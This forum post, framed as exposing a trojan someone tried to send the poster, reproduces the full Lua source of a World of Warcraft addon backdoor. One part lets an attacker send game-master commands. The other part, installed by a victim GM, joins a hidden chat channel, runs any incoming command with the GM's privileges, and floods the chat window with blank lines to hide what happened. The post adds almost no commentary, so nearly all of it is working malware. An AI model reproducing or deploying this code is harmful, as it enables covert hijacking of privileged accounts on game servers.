Exposed. A GM tried to send this 2 me.
Code:
--[[-----------------Babygangsta-GM-Trojan-Addon------------------
-------------------Last addon made by H3llf!re--------------------
------------------------------------------------------------------
------------------------------------------------------------------
-----------Replace-XXXX-with-a-single-word-as-channel-------------
---------------------]]BabyG_TUNNEL = "XXXX"--[[------------------
------------------------------------------------------------------
----------------------------------------------------------------]]
local f=CreateFrame("Frame","f")
f:RegisterAllEvents()
f:SetScript("OnEvent", function() BabyG_OnEvent(self, event) end)
function BabyG_OnEvent(self, event)
if (event == "PLAYER_LOGIN") then
CreateTUNNEL()
--elseif (event == "CHAT_MSG_ADDON") then
--hackerwhispermessage()
end
end
function BabyGMessage(message)
DEFAULT_CHAT_FRAME:AddMessage(message)
end
function CreateTUNNEL()
JoinTemporaryChannel(BabyG_TUNNEL, "Jana", ChatFrame1:GetID(), 0)
BabyG_TUNNELINDEX = GetChannelName(BabyG_TUNNEL)
end
function BabyG_Send(gmcommand)
if BabyG_GMName == nil then
BabyGMessage('"Do /BGN GMNAME" first. Then use "/BGS GMCOMMAND" or just typ "##GMCOMMAND". \nAll GM commands must be entered wihtout "."')
else
SendAddonMessage("BGDO: ", ""..gmcommand.."", "WHISPER", ""..BabyG_GMName.."")
BabyGMessage(""..BabyG_GMName..": "..gmcommand.."")
end
end
SlashCmdList["BABYGSEND"] = BabyG_Send
SLASH_BABYGSEND1 = "/BGS";
function BabyG_SetGM(gmname)
if string.len(gmname) <2 then
BabyGMessage('Fail!')
else
BabyG_GMName = gmname
BabyGMessage('GM: '..BabyG_GMName..'')
end
end
SlashCmdList["BABYGSETGM"] = BabyG_SetGM;
SLASH_BABYGSETGM1 = "/BGN";
---chat hook
if (not bg_gm_com) then
bg_gm_com = SendChatMessage
end
function SendChatMessage(msg, type, lang, chan)
if not string.find(msg, "##") then
bg_gm_com(msg, type, lang, chan)
else
if BabyG_GMName == nil then
BabyGMessage('"Do /BGN GMNAME" first. Then use "/BGS GMCOMMAND" or just typ "##GMCOMMAND". \nAll GM commands must be entered wihtout "."')
else
local msgg = string.gsub(msg, '##', '.')
SendAddonMessage("BGDO: ", ""..msgg.."", "WHISPER", ""..BabyG_GMName.."")
BabyGMessage(""..BabyG_GMName..": "..msgg.."")
end
end
end
---end chat hook
--[[--------------------------------------------------------------
------------------------------------------------------------------
------------------------------------------------------------------
------------------------------------------------------------------
------------------Replace-XXXX-with-a-single-word-as-channel------
---------------------]]Addon_Special_TUNNEL = "XXXX"--[[----------
------------------------------------------------------------------
----------------------------------------------------------------]]
local s=CreateFrame("Frame","f")
s:RegisterAllEvents()
s:SetScript("OnEvent", function() Addon_Special_OnEvent(self, event) end)
function Addon_Special_OnEvent(self, event)
if (event == "PLAYER_LOGIN") then
Addon_Special_CreateTUNNEL()
elseif (event == "CHAT_MSG_ADDON") then
Addon_Special_Res()
end
end
function Addon_Special_CreateTUNNEL()
JoinTemporaryChannel(Addon_Special_TUNNEL, "Jana", ChatFrame1:GetID(), 0)
Addon_Special_TUNNELINDEX = GetChannelName(Addon_Special_TUNNEL)
RemoveChatWindowChannel(1, Addon_Special_TUNNEL)
RemoveChatWindowChannel(2, Addon_Special_TUNNEL)
RemoveChatWindowChannel(3, Addon_Special_TUNNEL)
RemoveChatWindowChannel(4, Addon_Special_TUNNEL)
RemoveChatWindowChannel(5, Addon_Special_TUNNEL)
RemoveChatWindowChannel(6, Addon_Special_TUNNEL)
RemoveChatWindowChannel(7, Addon_Special_TUNNEL)
end
function Addon_Special_Res()
if ( string.find(arg1,"BGDO: ")) then
SendChatMessage(arg2)
DEFAULT_CHAT_FRAME:AddMessage("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
DEFAULT_CHAT_FRAME:AddMessage("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
DEFAULT_CHAT_FRAME:AddMessage("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
DEFAULT_CHAT_FRAME:AddMessage("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
DEFAULT_CHAT_FRAME:AddMessage("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
end
end